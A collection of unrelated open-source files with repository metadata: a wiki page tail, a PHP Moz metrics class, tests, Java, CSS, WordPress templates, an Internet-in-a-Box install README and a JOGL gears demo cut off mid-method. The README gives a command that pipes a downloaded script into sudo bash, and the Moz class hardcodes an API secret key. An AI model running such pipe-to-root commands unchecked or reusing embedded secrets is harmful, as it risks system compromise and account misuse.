value="82-" /><input type="hidden" name="rev" value="1345649199" /><input type="hidden" name="id" value="dhtmlxform:event_onuploadcomplete" /><input type="submit" value="Edit" class="button" title="onUploadComplete" /></div></form></div> <!-- wikipage stop --> </div> <div class="clearer">&nbsp;</div> <div class="stylefoot"> <div class="meta"> <div class="user"> </div> <!-- <div class="doc"> dhtmlxform/event_onuploadcomplete.txt &middot; Last modified: 2012/08/22 19:26 by 192.168.1.165 </div> </div>--> <!--<div class="bar" id="bar__bottom">--> <!--<div class="bar-left" id="bar__bottomleft">--> <!--<form class="button btn_edit" method="post" action="/dhtmlx/docs/doku.php"><div class="no"><input type="hidden" name="do" value="edit" /><input type="hidden" name="rev" value="" /><input type="hidden" name="id" value="dhtmlxform:event_onuploadcomplete" /><input type="submit" value="Edit this page" class="button" accesskey="e" title="Edit this page [E]" /></div></form>--> <!--<form class="button btn_revs" method="get" action="/dhtmlx/docs/doku.php"><div class="no"><input type="hidden" name="do" value="revisions" /><input type="hidden" name="id" value="dhtmlxform:event_onuploadcomplete" /><input type="submit" value="Old revisions" class="button" accesskey="o" title="Old revisions [O]" /></div></form>--> <!--</div>--> <!--<div class="bar-right" id="bar__bottomright">--> <!----> <!----> <!----> <!----> <!----> <!--<form class="button btn_index" method="get" action="/dhtmlx/docs/doku.php"><div class="no"><input type="hidden" name="do" value="index" /><input type="hidden" name="id" value="dhtmlxform:event_onuploadcomplete" /><input type="submit" value="Index" class="button" accesskey="x" title="Index [X]" /></div></form>--> <!--<a class="nolink" href="#dokuwiki__top"><input type="button" class="button" value="Back to top" onclick="window.scrollTo(0, 0)" title="Back to top" /></a>&nbsp;--> <!--</div>--> <!--<div class="clearer"></div>--> <!--</div>--> </div> </div> <div class="footerinc"> </div> <div class="no"><img src="/dhtmlx/docs/lib/exe/indexer.php?id=dhtmlxform%3Aevent_onuploadcomplete&amp;1345730610" width="1" height="1" alt="" /></div> <div class="footer"> <div class="footer-logo"></div> <div class="copyright">Copyright © 1998-2011 DHTMLX LTD.<br />All rights reserved.</div> <form class="button btn_edit" method="post" action="/dhtmlx/docs/doku.php"><div class="no"><input type="hidden" name="do" value="edit" /><input type="hidden" name="rev" value="" /><input type="hidden" name="id" value="dhtmlxform:event_onuploadcomplete" /><input type="submit" value="Edit this page" class="button" accesskey="e" title="Edit this page [E]" /></div></form> </div> </body> </html>
regadou/waw
dhtmlx/docsExplorer/dhtmlxform/dhtmlxform___event_onuploadcomplete.html
HTML
gpl-2.0
8,166
<?php require_once __DIR__ . '/../wrappers/moz_api_wrapper/bootstrap.php'; class Moz { public static function get_domain_authority_component( $client ) { $data = self::get_data( $client ); $domain_authority_competitors = array(); foreach ( $data['domain_authority_competitors'] as $key => $competitor ) { $domain_authority_competitors[] = new DomainAuthorityCompetitor( $competitor['url'], $competitor['domain_authority'] ); } return new DomainAuthorityComponent( $data['domain_authority'], $domain_authority_competitors ); } public static function get_competitor_link_metrics_component( $client ) { $data = self::get_data( $client ); $metrics = array( 'domain_authority' , 'external_followed_links' , 'followed_linking_root_domains' , 'domain_mozrank' , 'domain_moztrust' , 'total_external_links' , 'total_linking_root_domains' ); $link_metrics_arr = array(); foreach ( $metrics as $metric ) { $name = ucwords( str_replace( '_', ' ', $metric ) ); $link_metrics_arr[] = new LinkMetric( $name, $data[$metric] ); } $link_metrics = new LinkMetrics( $data['url'], $link_metrics_arr ); $domain_authority_competitors = array(); foreach ( $data['domain_authority_competitors'] as $key => $competitor ) { $competitor_link_metrics_arr = array(); foreach ( $metrics as $metric ) { $name = ucwords( str_replace( '_', ' ', $metric ) ); $competitor_link_metrics_arr[] = new LinkMetric( $name, $competitor[$metric] ); } $competitor_link_metrics[] = new LinkMetrics( $competitor['url'], $competitor_link_metrics_arr ); } return new CompetitorLinkMetricsComponent( $link_metrics, $competitor_link_metrics ); } private static function get_data( $client ) { //get the credentials for the client $client_data = self::get_client_creds( $client ); // Set the rate limit $rateLimit = 10; //set the authentication parameters $authenticator = new Authenticator(); $authenticator->setAccessID( $client_data['access_id'] ); $authenticator->setSecretKey( $client_data['secret_key'] ); $authenticator->setRateLimit( $rateLimit ); // URL to query $objectURL = $client_data['url']; // Metrics to retrieve (url_metrics_constants.php) $cols = URLMETRICS_COL_DOMAIN_AUTHORITY + URLMETRICS_COL_EXTERNAL_LINKS + URLMETRICS_COL_ROOTDMN_EXTERNAL_LINKS + URLMETRICS_COL_ROOTDMN_MOZRANK + URLMETRICS_COL_ROOTDMN_MOZTRUST + 549755813888//total external links + URLMETRICS_COL_ROOTDMN_LINKS; //get the domain authority for the url $urlMetricsService = new URLMetricsService( $authenticator ); $response = $urlMetricsService->getUrlMetrics( $objectURL, $cols ); $ret_data = self::get_metrics_from_response( $client_data['url'], $response ); $domain_authority_competitors = array(); foreach ( $client_data['competitors'] as $key => $competitor_url ) { $response = $urlMetricsService->getUrlMetrics( $competitor_url, $cols ); $domain_authority_competitors[] = self::get_metrics_from_response( $competitor_url, $response ); } $ret_data['domain_authority_competitors'] = $domain_authority_competitors; return $ret_data; } private static function get_metrics_from_response( $url, $response ) { return array( 'url' => $url , 'domain_authority' => ceil( $response['pda'] ) , 'external_followed_links' => $response['ueid'] , 'followed_linking_root_domains' => $response['peid'] , 'domain_mozrank' => round( $response['pmrp'] * 100 ) / 100 , 'domain_moztrust' => round( $response['ptrp'] * 100 ) / 100 , 'total_external_links' => $response['ued'] , 'total_linking_root_domains' => $response['uipl'] ); } private static function get_client_creds( $client ) { $clients = array( 'tower' => array( 'url' => 'www.towermarketing.net' , 'competitors' => array( 'www.ezsolution.com' , 'www.synapseresults.com' , 'www.webtekcc.com' ) ) ,'fairmount' => array( 'url' => 'fairmountbhs.com' , 'competitors' => array() ) ,'lrrcu' => array( 'url' => 'lrrcu.org' , 'competitors' => array( 'www.lancofcu.com' , 'www.members1st.org' , 'www.psecu.com' ) ) ,'countrymeadows' => array( 'url' => 'countrymeadows.com' , 'competitors' => array( 'www.emeritus.com' , 'www.diakon.org' , 'phoebe.org' ) ) ); $creds = $clients[$client]; $creds['access_id'] = 'member-53c0767d2c'; $creds['secret_key'] = 'b37eb0af871a2a3f53d28d72f04eb1d9'; return $creds; } }
zachfedor/sem-reporting-tool
wp-content/plugins/sem-reporting/include/api-classes/moz.class.php
PHP
gpl-2.0
4,573
<?php namespace Tests\AppBundle\Repository\LDraw; use AppBundle\Entity\LDraw\Keyword; use AppBundle\Repository\LDraw\KeywordRepository; use Tests\AppBundle\BaseTest; use Tests\AppBundle\Fixtures\LoadBaseData; class KeywordRepositoryTest extends BaseTest { /** @var KeywordRepository */ private $repository; public function setUp() { parent::setUp(); $this->setUpDb([LoadBaseData::class]); $this->repository = $this->em->getRepository(Keyword::class); } public function testGetOrCreate() { $this->assertCount(0, $this->repository->findAll()); $keyword = $this->repository->getOrCreate('Keyword'); $this->repository->save($keyword); $this->assertCount(1, $this->repository->findAll()); $keyword = $this->repository->getOrCreate('Keyword'); $this->repository->save($keyword); $this->assertCount(1, $this->repository->findAll()); } }
hubnedav/PrintABrick
tests/AppBundle/Repository/LDraw/KeywordRepositoryTest.php
PHP
gpl-2.0
950
/* * #%L * BSD implementations of Bio-Formats readers and writers * %% * Copyright (C) 2005 - 2015 Open Microscopy Environment: * - Board of Regents of the University of Wisconsin-Madison * - Glencoe Software, Inc. * - University of Dundee * %% * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * #L% */ package loci.formats.meta; import loci.common.xml.XMLTools; import loci.formats.Modulo; import loci.formats.ome.OMEXMLMetadata; import ome.xml.model.XMLAnnotation; import org.w3c.dom.Document; import org.w3c.dom.Element; public class ModuloAnnotation extends XMLAnnotation { public static final String MODULO_NS; static { MODULO_NS = "openmicroscopy.org/omero/dimension/modulo"; } private Modulo modulo; public void setModulo(OMEXMLMetadata meta, Modulo m) { modulo = m; setNamespace(MODULO_NS); Document doc = XMLTools.createDocument(); Element r = makeModuloElement(doc); setValue(XMLTools.dumpXML(null, doc, r, false)); } protected Element makeModuloElement(Document document) { Element mtop = document.createElement("Modulo"); mtop.setAttribute("namespace", "http://www.openmicroscopy.org/Schemas/Additions/2011-09"); // TODO: the above should likely NOT be hard-coded Element m = document.createElement("ModuloAlong" + modulo.parentDimension); mtop.appendChild(m); String type = modulo.type; String typeDescription = modulo.typeDescription; if (type != null) { type = type.toLowerCase(); } // Handle CZI files for the moment. // TODO: see http://trac.openmicroscopy.org.uk/ome/ticket/11720 if (type.equals("rotation")) { type = "angle"; } if (type == null || (!type.equals("angle") && !type.equals("phase") && !type.equals("tile") && !type.equals("lifetime") && !type.equals("lambda"))) { if (typeDescription == null) { typeDescription = type; } type = "other"; } m.setAttribute("Type", type); m.setAttribute("TypeDescription", typeDescription); if (modulo.unit != null) { m.setAttribute("Unit", modulo.unit); } if (modulo.end > modulo.start) { m.setAttribute("Start", String.valueOf(modulo.start)); m.setAttribute("Step", String.valueOf(modulo.step)); m.setAttribute("End", String.valueOf(modulo.end)); } if (modulo.labels != null) { for (String label : modulo.labels) { Element labelNode = document.createElement("Label"); labelNode.setTextContent(label); m.appendChild(labelNode); } } return mtop; } }
dominikl/bioformats
components/formats-api/src/loci/formats/meta/ModuloAnnotation.java
Java
gpl-2.0
3,845
/* * | RUS | - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * «Komunikator» – Web-интерфейс для настройки и управления программной IP-АТС «YATE» * Copyright (C) 2012-2017, ООО «Телефонные системы» * ЭТОТ ФАЙЛ является частью проекта «Komunikator» * Сайт проекта «Komunikator»: http://komunikator.ru/ * Служба технической поддержки проекта «Komunikator»: E-mail: support@komunikator.ru * В проекте «Komunikator» используются: * исходные коды проекта «YATE», http://yate.null.ro/pmwiki/ * исходные коды проекта «FREESENTRAL», http://www.freesentral.com/ * библиотеки проекта «Sencha Ext JS», http://www.sencha.com/products/extjs * Web-приложение «Komunikator» является свободным и открытым программным обеспечением. Тем самым * давая пользователю право на распространение и (или) модификацию данного Web-приложения (а также * и иные права) согласно условиям GNU General Public License, опубликованной * Free Software Foundation, версии 3. * В случае отсутствия файла «License» (идущего вместе с исходными кодами программного обеспечения) * описывающего условия GNU General Public License версии 3, можно посетить официальный сайт * http://www.gnu.org/licenses/ , где опубликованы условия GNU General Public License * различных версий (в том числе и версии 3). * | ENG | - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * "Komunikator" is a web interface for IP-PBX "YATE" configuration and management * Copyright (C) 2012-2017, "Telephonnyie sistemy" Ltd. * THIS FILE is an integral part of the project "Komunikator" * "Komunikator" project site: http://komunikator.ru/ * "Komunikator" technical support e-mail: support@komunikator.ru * The project "Komunikator" are used: * the source code of "YATE" project, http://yate.null.ro/pmwiki/ * the source code of "FREESENTRAL" project, http://www.freesentral.com/ * "Sencha Ext JS" project libraries, http://www.sencha.com/products/extjs * "Komunikator" web application is a free/libre and open-source software. Therefore it grants user rights * for distribution and (or) modification (including other rights) of this programming solution according * to GNU General Public License terms and conditions published by Free Software Foundation in version 3. * In case the file "License" that describes GNU General Public License terms and conditions, * version 3, is missing (initially goes with software source code), you can visit the official site * http://www.gnu.org/licenses/ and find terms specified in appropriate GNU General Public License * version (version 3 as well). * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ div.panel_header_main { text-align: left; float: left; } div.panel_header_extra { text-align: left; float: right; margin-right: 10px; } div.panel_header_icon1 { text-align: right; float: right; margin-left: 3px; cursor: hand; cursor: pointer; } div.panel_header_icon2 { text-align: right; float: right; margin-left: 3px; cursor: hand; cursor: pointer; }
komunikator/komunikator_bitrix
src/js/app/prompts.css
CSS
gpl-2.0
3,907
<?php /** * Author profile page * */ //This sets the $curauth variable $curauth = get_queried_object(); $paged = ( get_query_var('paged') ) ? get_query_var('paged') : 1; ?> <div class="content"> <div class="content_botbg"> <div class="content_res"> <div id="breadcrumb"> <?php if ( function_exists('cp_breadcrumb') ) cp_breadcrumb(); ?> </div> <!-- left block --> <div class="content_left"> <div class="shadowblock_out"> <div class="shadowblock"> <h1 class="single dotted"><?php printf( __( 'About %s', APP_TD ), $curauth->display_name ); ?></h1> <div class="post"> <div id="user-photo"><?php appthemes_get_profile_pic($curauth->ID, $curauth->user_email, 96); ?></div> <div class="author-main"> <ul class="author-info"> <li><strong><?php _e( 'Member Since:', APP_TD ); ?></strong> <?php echo date_i18n(get_option('date_format'), strtotime($curauth->user_registered)); ?></li> <?php if ( !empty($curauth->user_url) ) { ?><li><strong><?php _e( 'Website:', APP_TD ); ?></strong> <a href="<?php echo esc_url($curauth->user_url); ?>"><?php echo strip_tags( $curauth->user_url ); ?></a></li><?php } ?> <?php if ( !empty($curauth->twitter_id) ) { ?><li><div class="twitterico"></div><a href="http://twitter.com/<?php echo urlencode($curauth->twitter_id); ?>" target="_blank"><?php _e( 'Twitter', APP_TD ); ?></a></li><?php } ?> <?php if ( !empty($curauth->facebook_id) ) { ?><li><div class="facebookico"></div><a href="http://facebook.com/<?php echo urlencode($curauth->facebook_id); ?>" target="_blank"><?php _e( 'Facebook', APP_TD ); ?></a></li><?php } ?> </ul> <?php cp_author_info( 'page' ); ?> </div> <h3 class="dotted"><?php _e( 'Description', APP_TD ); ?></h3> <p><?php echo appthemes_nl2br( $curauth->user_description ); ?></p> </div><!--/post--> </div><!-- /shadowblock --> </div><!-- /shadowblock_out --> <div class="tabcontrol"> <ul class="tabnavig"> <li><a href="#block1"><span class="big"><?php _e( 'Ads', APP_TD ); ?></span></a></li> <li><a href="#block2"><span class="big"><?php _e( 'Posts', APP_TD ); ?></span></a></li> </ul> <!-- tab 1 --> <div id="block1"> <div class="clr"></div> <div class="undertab"><span class="big"><?php _e( 'Ads', APP_TD ); ?> / <strong><span class="colour"><?php _e( 'Latest items listed', APP_TD ); ?></span></strong></span></div> <?php query_posts( array( 'post_type' => APP_POST_TYPE, 'author' => $curauth->ID, 'paged' => $paged ) ); ?> <?php get_template_part( 'loop', 'ad_listing' ); ?> </div><!-- /block1 --> <!-- tab 2 --> <div id="block2"> <div class="clr"></div> <div class="undertab"><span class="big"><?php _e( 'Posts', APP_TD ); ?> / <strong><span class="colour"><?php _e( 'Recent blog posts', APP_TD ); ?></span></strong></span></div> <?php query_posts( array( 'post_type' => 'post', 'author' => $curauth->ID, 'paged' => $paged ) ); ?> <?php get_template_part( 'loop' ); ?> </div><!-- /block2 --> </div><!-- /tabcontrol --> </div><!-- /content_left --> <?php get_sidebar( 'author' ); ?> <div class="clr"></div> </div><!-- /content_res --> </div><!-- /content_botbg --> </div><!-- /content -->
Dharnidharka/classified
wp-content/themes/classipress/author.php
PHP
gpl-2.0
3,359
<?php # # rt-theme # post content for standart post types in listing pages # global $rt_post_values, $rt_blog_list_atts; extract($rt_post_values); extract($rt_blog_list_atts); ?> <!-- blog box--> <article <?php post_class("loop")?> id="post-<?php the_ID(); ?>"> <?php if( ! empty( $thumbnail_image_output ) ):?> <section class="featured_image featured_media"> <?php //create lightbox link do_action("create_lightbox_link", array( 'class' => 'imgeffect zoom lightbox_ featured_image', 'href' => $featured_image_url, 'title' => __('Enlarge Image','rt_theme'), 'data_group' => 'image_'.$featured_image_id, 'data_title' => $title, 'data_thumbnail' => $lightbox_thumbnail, 'inner_content' => $thumbnail_image_output ) ); ?> <span class="format-icon icon-pencil"></span> </section> <?php endif;?> <?php if($show_date !== "false"):?><section class="date"><?php the_date(); ?></section><?php endif;?> <section class="text"> <!-- blog headline--> <h2><a href="<?php echo $permalink ?>" rel="bookmark"><?php the_title(); ?></a></h2> <?php if( $use_excerpts !== "false" ){ the_excerpt(); }else{ the_content( __( 'Continue reading', 'rt_theme' ) ); wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'rt_theme' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) ); } ?> <?php //post meta bar do_action( "post_meta_bar", array( "show_author"=> $show_author, "show_categories" => $show_categories, "show_comment_numbers" => $show_comment_numbers, "show_date" => $show_date) ); ?> </section> </article> <!-- / blog box-->
rais24/benson
wp-content/themes/rttheme19/post-contents/content.php
PHP
gpl-2.0
1,774
<!-- For http://d.iiab.io/README.html -- usable in version subdirectories too --> <!-- Copied from https://github.com/iiab/iiab-factory/blob/master/README.html --> <a href=https://internet-in-a-box.org>Internet-in-a-Box (IIAB)</a> 8.0 pre-releases are thoroughly tested, and can be installed from this page! Please read our DRAFT <a href="https://github.com/iiab/iiab/wiki/IIAB-8.0-Release-Notes">IIAB 8.0 Release Notes</a>. <p> <i>To install IIAB 8.0 onto <a href="https://www.raspberrypi.com/software/">Raspberry Pi OS</a>, <a href="https://github.com/iiab/iiab/wiki/IIAB-Platforms#operating-systems">Ubuntu 20.04+</a>, <a href="https://linuxmint.com/">Linux Mint 20</a> or <a href="https://www.debian.org/releases/bullseye/debian-installer/">Debian 11+</a>, simply run this 1-line installer:</i> <p> <center><big><b><mark>curl d.iiab.io/install.txt | sudo bash</mark></b></big></center> <p> <!--OS TIPS & TRICKS: click the above link (that ends in .txt) for important recommendations on how to PREPARE & SECURE YOUR OS. <p>--> WARNING: THE NOOBS OS IS *NOT* SUPPORTED, as its partitioning is very different. On a Raspberry Pi, <a href="https://www.raspberrypi.com/software/">WE RECOMMEND YOU INSTALL THE LATEST RASPBERRY PI OS</a>, using the <a href="https://www.raspberrypi.com/documentation/computers/getting-started.html#installing-the-operating-system">detailed instructions</a> if necessary. To attempt an IIAB install onto a <a href=https://github.com/iiab/iiab/wiki/IIAB-Platforms#operating-systems>non-supported Linux distribution</a> (AT YOUR OWN RISK) see also the <a href="https://github.com/iiab/iiab/wiki/IIAB-Installation#do-everything-from-scratch">manual/legacy instructions</a>. <p> An Ethernet cable is HIGHLY RECOMMENDED during installation, as this is more reliable than Wi-Fi (and faster too!) WARNING: IF YOU CONNECT YOUR IIAB'S INTERNAL WIFI TO THE INTERNET OVER 5 GHz, YOU'LL PREVENT OLDER LAPTOPS/PHONES/TABLETS (WHICH REQUIRE 2.4 GHz) FROM CONNECTING TO YOUR IIAB'S INTERNAL HOTSPOT. See: "wifi_up_down: True" in <a href=http://FAQ.IIAB.IO#What_is_local_vars.yml_and_how_do_I_customize_it.3F>/etc/iiab/local_vars.yml</a> <!-- If however you must install over Wi-Fi, remember to run "iiab-hotspot-on" after IIAB installation, TO ACTIVATE YOUR RASPBERRY PI's INTERNAL WIFI HOTSPOT (thereby killing Internet connectivity!)--> <p> <center><b>Thanks For Building Your Own Library To Serve One & All</b></center> <p> Please <a href=https://internet-in-a-box.org/pages/contributing.html>contact us</a> if you find issues, Thank You! Special Thanks to the countries + communities + volunteers working non-stop to bring about <a href="https://github.com/iiab/iiab/wiki/IIAB-8.0-Release-Notes">IIAB 8.0</a> ! <p> IIAB Dev Team <br> <a href="http://FAQ.IIAB.IO">http://FAQ.IIAB.IO</a>
iiab/iiab-factory
README.html
HTML
gpl-2.0
2,834
import javax.media.opengl.GL2; import javax.media.opengl.GLAutoDrawable; import javax.media.opengl.GLEventListener; import javax.media.opengl.GLProfile; import javax.media.opengl.awt.GLCanvas; import com.jogamp.newt.Window; import com.jogamp.newt.event.KeyAdapter; import com.jogamp.newt.event.KeyEvent; import com.jogamp.newt.event.KeyListener; import com.jogamp.newt.event.MouseAdapter; import com.jogamp.newt.event.MouseEvent; import com.jogamp.newt.event.MouseListener; import com.jogamp.newt.event.awt.AWTKeyAdapter; import com.jogamp.newt.event.awt.AWTMouseAdapter; import com.jogamp.opengl.util.Animator; /** * Gears.java <BR> * author: Brian Paul (converted to Java by Ron Cemer and Sven Gothel) <P> * * This version is equal to Brian Paul's version 1.2 1999/10/21 */ public class Gears implements GLEventListener { private float view_rotx = 20.0f, view_roty = 30.0f; private final float view_rotz = 0.0f; private int gear1=0, gear2=0, gear3=0; private float angle = 0.0f; private final int swapInterval; private int prevMouseX, prevMouseY; public static void main(String[] args) { // set argument 'NotFirstUIActionOnProcess' in the JNLP's application-desc tag for example // <application-desc main-class="demos.j2d.TextCube"/> // <argument>NotFirstUIActionOnProcess</argument> // </application-desc> // boolean firstUIActionOnProcess = 0==args.length || !args[0].equals("NotFirstUIActionOnProcess") ; java.awt.Frame frame = new java.awt.Frame("Gear Demo"); frame.setSize(300, 300); frame.setLayout(new java.awt.BorderLayout()); final Animator animator = new Animator(); frame.addWindowListener(new java.awt.event.WindowAdapter() { @Override public void windowClosing(java.awt.event.WindowEvent e) { // Run this on another thread than the AWT event queue to // make sure the call to Animator.stop() completes before // exiting new Thread(new Runnable() { @Override public void run() { animator.stop(); System.exit(0); } }).start(); } }); GLCanvas canvas = new GLCanvas(); animator.add(canvas); // GLCapabilities caps = new GLCapabilities(GLProfile.getDefault()); // GLCanvas canvas = new GLCanvas(caps); final Gears gears = new Gears(); canvas.addGLEventListener(gears); frame.add(canvas, java.awt.BorderLayout.CENTER); frame.validate(); frame.setVisible(true); animator.start(); } public Gears(int swapInterval) { this.swapInterval = swapInterval; } public Gears() { this.swapInterval = 1; } public void setGears(int g1, int g2, int g3) { gear1 = g1; gear2 = g2; gear3 = g3; } /** * @return display list gear1 */ public int getGear1() { return gear1; } /** * @return display list gear2 */ public int getGear2() { return gear2; } /** * @return display list gear3 */ public int getGear3() { return gear3; } @Override public void init(GLAutoDrawable drawable) { System.err.println("Gears: Init: "+drawable); // Use debug pipeline // drawable.setGL(new DebugGL(drawable.getGL())); GL2 gl = drawable.getGL().getGL2(); System.err.println("Chosen GLCapabilities: " + drawable.getChosenGLCapabilities()); System.err.println("INIT GL IS: " + gl.getClass().getName()); System.err.println("GL_VENDOR: " + gl.glGetString(GL2.GL_VENDOR)); System.err.println("GL_RENDERER: " + gl.glGetString(GL2.GL_RENDERER)); System.err.println("GL_VERSION: " + gl.glGetString(GL2.GL_VERSION)); float pos[] = { 5.0f, 5.0f, 10.0f, 0.0f }; float red[] = { 0.8f, 0.1f, 0.0f, 0.7f }; float green[] = { 0.0f, 0.8f, 0.2f, 0.7f }; float blue[] = { 0.2f, 0.2f, 1.0f, 0.7f }; gl.glLightfv(GL2.GL_LIGHT0, GL2.GL_POSITION, pos, 0); gl.glEnable(GL2.GL_CULL_FACE); gl.glEnable(GL2.GL_LIGHTING); gl.glEnable(GL2.GL_LIGHT0); gl.glEnable(GL2.GL_DEPTH_TEST); /* make the gears */ if(0>=gear1) { gear1 = gl.glGenLists(1); gl.glNewList(gear1, GL2.GL_COMPILE); gl.glMaterialfv(GL2.GL_FRONT, GL2.GL_AMBIENT_AND_DIFFUSE, red, 0); gear(gl, 1.0f, 4.0f, 1.0f, 20, 0.7f); gl.glEndList(); System.err.println("gear1 list created: "+gear1); } else { System.err.println("gear1 list reused: "+gear1); } if(0>=gear2) { gear2 = gl.glGenLists(1); gl.glNewList(gear2, GL2.GL_COMPILE); gl.glMaterialfv(GL2.GL_FRONT, GL2.GL_AMBIENT_AND_DIFFUSE, green, 0); gear(gl, 0.5f, 2.0f, 2.0f, 10, 0.7f); gl.glEndList(); System.err.println("gear2 list created: "+gear2); } else { System.err.println("gear2 list reused: "+gear2); } if(0>=gear3) { gear3 = gl.glGenLists(1); gl.glNewList(gear3, GL2.GL_COMPILE); gl.glMaterialfv(GL2.GL_FRONT, GL2.GL_AMBIENT_AND_DIFFUSE, blue, 0); gear(gl, 1.3f, 2.0f, 0.5f, 10, 0.7f); gl.glEndList(); System.err.println("gear3 list created: "+gear3); } else { System.err.println("gear3 list reused: "+gear3); } gl.glEnable(GL2.GL_NORMALIZE); // MouseListener gearsMouse = new TraceMouseAdapter(new GearsMouseAdapter()); MouseListener gearsMouse = new GearsMouseAdapter(); KeyListener gearsKeys = new GearsKeyAdapter(); if (drawable instanceof Window) { Window window = (Window) drawable; window.addMouseListener(gearsMouse); window.addKeyListener(gearsKeys); } else if (GLProfile.isAWTAvailable() && drawable instanceof java.awt.Component) { java.awt.Component comp = (java.awt.Component) drawable; new AWTMouseAdapter(gearsMouse, (Window) drawable).addTo(comp); new AWTKeyAdapter(gearsKeys, (Window) drawable).addTo(comp); } } @Override public void reshape(GLAutoDrawable drawable, int x, int y, int width, int height) { System.err.println("Gears: Reshape "+x+"/"+y+" "+width+"x"+height); GL2 gl = drawable.getGL().getGL2(); gl.setSwapInterval(swapInterval); float h = (float)height / (float)width; gl.glMatrixMode(GL2.GL_PROJECTION); gl.glLoadIdentity(); gl.glFrustum(-1.0f, 1.0f, -h, h, 5.0f, 60.0f); gl.glMatrixMode(GL2.GL_MODELVIEW); gl.glLoadIdentity(); gl.glTranslatef(0.0f, 0.0f, -40.0f); } @Override public void dispose(GLAutoDrawable drawable) { System.err.println("Gears: Dispose"); setGears(0, 0, 0); } @Override public void display(GLAutoDrawable drawable) { // Turn the gears' teeth angle += 2.0f; // Get the GL corresponding to the drawable we are animating GL2 gl = drawable.getGL().getGL2(); gl.glClearColor(0.0f, 0.0f, 0.0f, 0.0f); // Special handling for the case where the GLJPanel is translucent // and wants to be composited with other Java 2D content if (GLProfile.isAWTAvailable() && (drawable instanceof javax.media.opengl.awt.GLJPanel) && !((javax.media.opengl.awt.GLJPanel) drawable).isOpaque() && ((javax.media.opengl.awt.GLJPanel) drawable).shouldPreserveColorBufferIfTranslucent()) { gl.glClear(GL2.GL_DEPTH_BUFFER_BIT); } else { gl.glClear(GL2.GL_COLOR_BUFFER_BIT | GL2.GL_DEPTH_BUFFER_BIT); } // Rotate the entire assembly of gears based on how the user // dragged the mouse around gl.glPushMatrix(); gl.glRotatef(view_rotx, 1.0f, 0.0f, 0.0f); gl.glRotatef(view_roty, 0.0f, 1.0f, 0.0f); gl.glRotatef(view_rotz, 0.0f, 0.0f, 1.0f); // Place the first gear and call its display list gl.glPushMatrix(); gl.glTranslatef(-3.0f, -2.0f, 0.0f); gl.glRotatef(angle, 0.0f, 0.0f, 1.0f); gl.glCallList(gear1); gl.glPopMatrix(); // Place the second gear and call its display list gl.glPushMatrix(); gl.glTranslatef(3.1f, -2.0f, 0.0f); gl.glRotatef(-2.0f * angle - 9.0f, 0.0f, 0.0f, 1.0f); gl.glCallList(gear2); gl.glPopMatrix(); // Place the third gear and call its display list gl.glPushMatrix(); gl.glTranslatef(-3.1f, 4.2f, 0.0f); gl.glRotatef(-2.0f * angle - 25.0f, 0.0f, 0.0f, 1.0f); gl.glCallList(gear3); gl.glPopMatrix(); // Remember that every push needs a pop; this one is paired with // rotating the entire gear assembly gl.glPopMatrix(); } public static void gear(GL2 gl, float inner_radius, float outer_radius, float width, int teeth, float tooth_depth) { int i; float r0, r1, r2; float angle, da; float u, v, len; r0 = inner_radius; r1 = outer_radius - tooth_depth / 2.0f; r2 = outer_radius + tooth_depth / 2.0f; da = 2.0f * (float) Math.PI / teeth / 4.0f; gl.glShadeModel(GL2.GL_FLAT); gl.glNormal3f(0.0f, 0.0f, 1.0f); /* draw front face */ gl.glBegin(GL2.GL_QUAD_STRIP); for (i = 0; i <= teeth; i++) { angle = i * 2.0f * (float) Math.PI / teeth; gl.glVertex3f(r0 * (float)Math.cos(angle), r0 * (float)Math.sin(angle), width * 0.5f); gl.glVertex3f(r1 * (float)Math.cos(angle), r1 * (float)Math.sin(angle), width * 0.5f); if(i < teeth) { gl.glVertex3f(r0 * (float)Math.cos(angle), r0 * (float)Math.sin(angle), width * 0.5f); gl.glVertex3f(r1 * (float)Math.cos(angle + 3.0f * da), r1 * (float)Math.sin(angle + 3.0f * da), width * 0.5f); } } gl.glEnd(); /* draw front sides of teeth */ gl.glBegin(GL2.GL_QUADS); for (i = 0; i < teeth; i++) { angle = i * 2.0f * (float) Math.PI / teeth; gl.glVertex3f(r1 * (float)Math.cos(angle), r1 * (float)Math.sin(angle), width * 0.5f); gl.glVertex3f(r2 * (float)Math.cos(angle + da), r2 * (float)Math.sin(angle + da), width * 0.5f); gl.glVertex3f(r2 * (float)Math.cos(angle + 2.0f * da), r2 * (float)Math.sin(angle + 2.0f * da), width * 0.5f); gl.glVertex3f(r1 * (float)Math.cos(angle + 3.0f * da), r1 * (float)Math.sin(angle + 3.0f * da), width * 0.5f); } gl.glEnd(); /* draw back face */ gl.glBegin(GL2.GL_QUAD_STRIP); for (i = 0; i <= teeth; i++) { angle = i * 2.0f * (float) Math.PI / teeth; gl.glVertex3f(r1 * (float)Math.cos(angle), r1 * (float)Math.sin(angle), -width * 0.5f); gl.glVertex3f(r0 * 